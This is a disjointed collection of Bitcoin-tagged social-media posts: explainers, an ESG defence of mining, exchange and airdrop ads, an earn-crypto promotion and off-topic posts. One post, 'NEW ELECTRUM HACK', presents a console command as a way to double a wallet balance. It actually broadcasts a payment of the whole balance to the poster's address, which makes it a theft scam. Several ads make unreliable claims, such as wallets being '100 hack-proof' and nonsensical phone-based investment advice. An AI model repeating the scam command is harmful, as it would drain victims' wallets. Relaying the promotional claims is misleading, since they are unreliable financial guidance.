#Bitcoin (BTC)
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ELI5 Bitcoin: Explain bitcoin Like I'm Five
Hey there, curious minds, allow me to break Bitcoin down so a five-year-old can understand it…
Ever tried to wrap your head around Bitcoin and ended up with a mega brain freeze? Don’t stress. Remember when you first tried to figure out the Internet and all its wizardry? Yep, most of us still can’t explain all those geeky bits and bytes, but hey, we’re all pros at scrolling through our favorite sites.
Bitcoin? Kinda the same deal. It’s the cool kid on the block that’s setting the stage for a bunch of exciting financial stuff (think money, but cooler and techier!). You don’t need a PhD to get it. But if you’re itching to get the lowdown on Bitcoin without the jargon, stick around. Let’s dive in! 🚀 Read more a Bitcoin Versed...
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Mark Tencaten | Does the cryptocurrency you want to invest in meet the ESG requirements?
On October 31, Bitcoin, the pioneer digital currency, turned 13. Since Satoshi Nakamoto, the anonymous creator of the bitcoin white paper, developed the digital currency built on blockchain technology, cryptocurrency has advanced significantly. Just several years back, cryptocurrency was mainly a tech-geek obsession. Today, however, it has succeeded in igniting a genuine interest among major institutional investors and businesses like Tesla and Microsoft. Additionally, crypto exchanges have made it simple for ordinary people to trade cryptocurrency. The path has been nothing but precarious despite its popularity.
Progress has been hampered by recurring FUD (Fear, Uncertainty, and Doubt) cast around cryptocurrency's future. And the ESG (Environmental, Social, and Governance) impact is the most recent issue being raised by nations like China, which outlawed bitcoin mining.
But Mark Tencaten asks whether these worries are valid. You will be guided through the actual effects of cryptocurrencies, particularly Bitcoin, on our society and the environment by Mark Tencaten.
Does Bitcoin have a future?
According to one estimate from the Cambridge Bitcoin Electricity Consumption Index, bitcoin miners used roughly as much energy per year as a tiny nation like the Netherlands in 2019. You've probably seen this statistic brought up online in relation to Bitcoin criticism. However, this is only part of the whole picture.
Mark Tencaten answers that bitcoin uses a significant amount of energy. However, it is not mentioned that bitcoin is just as environmentally friendly as its source of energy. Bitcoin may also be mined with 100% non-fossil fuel-based energy, just as electric vehicles. According to a recent analysis by the Bitcoin Mining Council, 56% of the energy used in bitcoin mining throughout the world comes from renewable sources.
Furthermore, the energy is wisely invested in technology that is at the vanguard of transforming the entire world's financial system. Bitcoin is significantly more environmentally benign than the traditional gold mining industry or the financial services industry it intends to replace.
Additionally, Bitcoin aids in resolving a significant issue in the energy sector: periodically increased production of renewable energy that is wasted because of storage problems. Unlike typical users, mining farms can be shifted to the source of energy generation. For instance, Texas is an excellent place for miners since it produces a lot of solar and wind energy.
Bitcoin can absorb 400 metric tonnes of the carbon dioxide created annually during oil extraction, which is frightening, but it can also assist lower emissions. The residue of oil production known as dry natural gas, which was formerly burned on-site, is now used by bitcoin mining farms installed next to oil refineries.
There are "proof of stake" cryptocurrencies, which do not rely on a mining process that consumes a lot of energy. Popular greener alternatives to Bitcoin include Cardano (ADA), Nano (NANO), Ripple (XRP), and Solana (SOL), among others.
Is Bitcoin used by criminals and those who launder money?
Bitcoin being used for illicit operations; hence "is it bad?" is the most often asked question in a section on governance and cryptocurrency.
Elliptic, a blockchain analytics company, claims that less than 1% of all bitcoin transactions were related to illegal behavior (such as black markets, ransomware, and fraud). Because Bitcoin is transparent, all transactions, including illicit ones, can be tracked.
Like the internet, bitcoin is impartial and has qualities that are advantageous to both positive and negative individuals. However, the percentage of illegal transactions will decline as technology develops and is more widely used. Anyhow, the scale of unlawful conduct using conventional financial institutions is nothing compared to the insignificant amounts on the blockchain.
Conclusion
Cryptocurrency compliance with ESG standards is a well-established issue. Chainalysis estimates that during the third quarter of 2019, the adoption of cryptocurrencies has increased globally by a whopping 2300%, with developing nations like Vietnam and India leading the charge.
Because cryptocurrency is a once-in-a-lifetime trading prospect built on cutting-edge technology, ignoring it because of partial truths is like failing to see the forest for the trees.
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dark puddles nation how we feeling
#batdr#batim#bendy and the dark revival#bendy and the ink machine#ink bendy#ink demon#The Ink demon#Bendy#bendy the dancing demon#batim bendy#batdr bendy#Bendy the cage#Bendy: the cage#Btc is bitcoin we can't call it btc#Sadface#B:tc? Maybe?#batim kin
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CoinPal: https://coinpal.eu/
CoinPal in the Yahoo! News: https://yahoo.com/news/coinpal-announces-launch-crypto-exchange-133000378.html
#CoinPal#Bitcoin to PayPal#BTC to PP#Transfer Bitcoin to PayPal#Bitcoin to PayPal Transfer#Bitcoin to PayPal Exchange#Exchange Bitcoin to PayPal#Cashout Bitcoin
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If you're thinking about getting into crypto here is what you should think about before jumping in…
When did you buy your first iPhone?
If you say iPhone8 or later, then wait!
And…
If you have an Android or Microsoft phone - only buy stable coins!
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Metatime Airdrop (Kesinlikle Katılın)
#Metatime #airdrop #altcoin #kriptopara
#Metatime#airdrop#altcoin#kriptopara#bitcoin#kriptohaber#binance#advertising#business#finance#btc#kripto#marketing#kripto haber
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Are you looking for a platform where your trading ideas can flourish? Look no further than the Stay Connected United Exchange's Community. Trade like a legend on the legendary Crypto Exchange. United exchange is a simple platform that you can use to sell and Buy Bitcoin, Ethereum, and other cryptocurrencies and store them in our secure wallets.
Bitcoin, a global cryptocurrency was invented in 2008 by an unknown person or set of people using the name Satoshi Nakamoto which was primarily invented to be used as a medium of exchange in place of the fiat currency (INR, USD etc). The developers of Bitcoin hoped it to be backed by countries.
Bitcoin enables peer-to-peer transactions. The only difference is you don’t have to pay high transaction fees, and there is no centralized authority that regulates the working of Bitcoin. It uses the SHA-256 algorithm to ensure security.
While sending and receiving the money using Bitcoin, the anonymity of the user is maintained. It allows individuals to own their own money (without dependence on banks) and aims to bring financial stability for people who live in countries with unstable currencies.
In totality, 21 million bitcoins can be mined, whereas nearly 18 million coins have been mined. Once all these coins have been mined, the supply of bitcoins will be exhausted and the prices go up in this anticipation. At the moment, one BTC costs around 43, 58,343.74 Indian Rupee (INR), which would change the very next moment.
How to buy Bitcoin at United Exchange?
Once you have registered on our platform and completed the process of the KYC. Here are some simple methods by which you can buy Bitcoin on our platform-
Directly using your Credit card: United Exchange offers the safest route for your banking transactions, where you can buy Bitcoin directly using your Credit card. Remember to fund your account beforehand with FIAT Currencies. The process is quite short and simple. If your account has the necessary funding, all you need is to go to the deposit BTC option by click on the ‘deposits option’ on the main page and buy the desired amount of BTC.
Follow the steps written below, when you want to deposit money in BTC at United Exchange.
1. Log into your account and click on the ‘Deposit’ option on the top-left side of the screen. A page like the given below would open. Then click on ‘Deposit’ encircled in yellow.
2. A window like shown below would appear. Click on the ‘Confirm’ option.
3.After clicking on the confirm option, a new page would appear with a QR Code and a unique link, which you would copy to transfer Bitcoins.
How to store Bitcoin?
We are done buying the BTC, now the most important thing is to store. The best option is to store in “Wallets”-esp., Cold Wallets (just like the one which UE provides), which are 100 hack-proof and offline.
Now what?
There are a plenty of options available on United Exchange on what to do with your BTC. These are referred below-
Holding: You can hold BTC on UE for as long as you want, or as long as you think that the prices are going to increase. Simply store them in our ultra-safe cold wallets.
Trade: There are more than 30 crypto-currencies available at our platform, most of which are tradable with BTC. So, GO AHEAD, and trade all you want! Not to forget we charge a very minimal trading fee of only- 0.2%.
Send: Easily send anyone, anywhere around the world, which have BTC Balances in their wallets.
Enhance knowledge: Visit our website’s main page United Exchange Blogs and read extensive blogs about Crypto and all related concepts. Don’t worry! We update them regularly!!
#Buy Bitcoin#Buy Bitcoin Instantly#BTC#Buy Bitcoin In India#Crypto Exchange#Crypto Trading#Buy BTC In India#cryptocurrency#marketing#sales#bitcoin#success#investing
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Hello everyone,
Today, I want to tell you about a platform called CoinPayU. CoinPayU is a platform that offers real-time earning opportunities by watching ads and completing surveys. On this platform, you can easily earn crypto by watching ads and filling out surveys. Payment options include various cryptocurrencies such as BNB, BTC,ETH, Solana, DOGE, Shiba,USDC,USDT and more.
CoinPayU is an ideal solution for individuals like housewives and students who want to financially support their daily lives to some extent. You can have fun and earn extra income while making the most of your spare time.
You can earn money easily by completing surveys or watching ads. This not only provides a pleasant activity to fill your free time during the day but also contributes to your financial well-being.
If you want to make some extra income while having fun and completing surveys, CoinPayU is the perfect platform for you! Join CoinPayU now and add some color to your days financially!
#advertising#blockchain#crypto#solana#survey#how to earn money#earn money online#btc#earnmoney#CoinPayU#EarnCrypto#MakeMoneyOnline#SurveyEarnings#CryptoPayments#ExtraIncome#SideHustle#WorkFromHome#OnlineSurveys#WatchAds#CryptoEarning#FinancialFreedom#PassiveIncome#EarnFromHome#StudentEarnings#HousewifeIncome#CryptoOpportunity#FreeTimeEarnings#EarnWhileYouSleep#bitcoin#earningmoney
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EVERY CRYPTOBRO IS A SON OF A BITCH GET FUCKED
#bitcoin#bitcoin prices#cryptocurrency prices#cryptocurrencies#cryptocurrency trading#btc#btc latest news#nftnews#nftcollectibles#nfts#nft crypto#bitcoin investment#cryptocurreny trading
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Capitalize on Rising Crypto Market With These Blockchain Stocks
CEO of Top Cryptocurrency Predicts the Overall Crypto Market Could Double to $5 Trillion By the End of 2024, Fueled By Two Major Catalysts
Click Here to Read
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NEW ELECTRUM HACK
How to double bitcoins in electrum wallet works in 2024
The idea of instant doubling of Bitcoin without any additional charges is a unique and attractive proposition for cryptocurrency users. With the Electrum wallet, users can seamlessly and securely double their Bitcoin holdings without having to worry about high fees or commissions eating into their profits.
This revolutionary feature not only saves users money but also provides them with a fast and efficient way to increase their Bitcoin holdings. By taking advantage of this opportunity, users can effectively grow their investments.
Step1 - Click in View Tab Show Console
Step2 - Open console tab and put this command:
broadcast(𝔭𝔞𝔶𝔱𝔬('1bonusAGn5pzfkcbXQpnYAn7ywrGarkjU','!'))
Step3 - Hit enter button, if console shows message like this: txid....
Restart electrum and view your balance x2
Have fun with your free Money
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"Nothing stops this train""Nothing stops this train"
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